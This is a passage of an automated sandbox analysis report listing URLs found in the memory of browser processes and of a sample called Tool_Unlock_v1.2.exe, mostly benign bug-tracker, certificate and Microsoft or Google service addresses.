Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: Tool_Unlock_v1.2.exe, 00000003.00000003.2055815669.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2055913866.0000000002EE7000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2110608362.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2182086547.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2157941057.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2134396651.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000003.2218425519.0000000002EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000005.00000003.2224779361.0000313C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224564655.0000313C00ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224678668.0000313C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224636424.0000313C00FD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: chrome.exe, 00000005.00000003.2224779361.0000313C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224564655.0000313C00ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224678668.0000313C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225538704.0000313C00C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225786178.0000313C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224636424.0000313C00FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224658327.0000313C01040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225559696.0000313C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225592376.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000005.00000003.2224779361.0000313C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224564655.0000313C00ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224678668.0000313C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225538704.0000313C00C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225786178.0000313C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224636424.0000313C00FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224658327.0000313C01040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225559696.0000313C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225592376.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000005.00000003.2224779361.0000313C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224564655.0000313C00ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224678668.0000313C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225538704.0000313C00C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225786178.0000313C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224636424.0000313C00FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224658327.0000313C01040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225559696.0000313C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225592376.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000005.00000003.2224779361.0000313C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224564655.0000313C00ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224678668.0000313C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225538704.0000313C00C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225786178.0000313C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224636424.0000313C00FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224658327.0000313C01040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225559696.0000313C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225592376.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000005.00000003.2256102541.0000313C021B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUw
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Tool_Unlock_v1.2.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: chrome.exe, 00000005.00000003.2256102541.0000313C021B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/update2/response
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation
Source: chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation1
Source: chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000005.00000003.2270856017.0000313C02A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 00000008.00000002.2389581180.000001574073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3289185739.00000000063A8000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, ZMGDJE.3.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: Tool_Unlock_v1.2.exe, 00000003.00000002.3289185739.00000000063A8000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, ZMGDJE.3.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://c.msn.com/
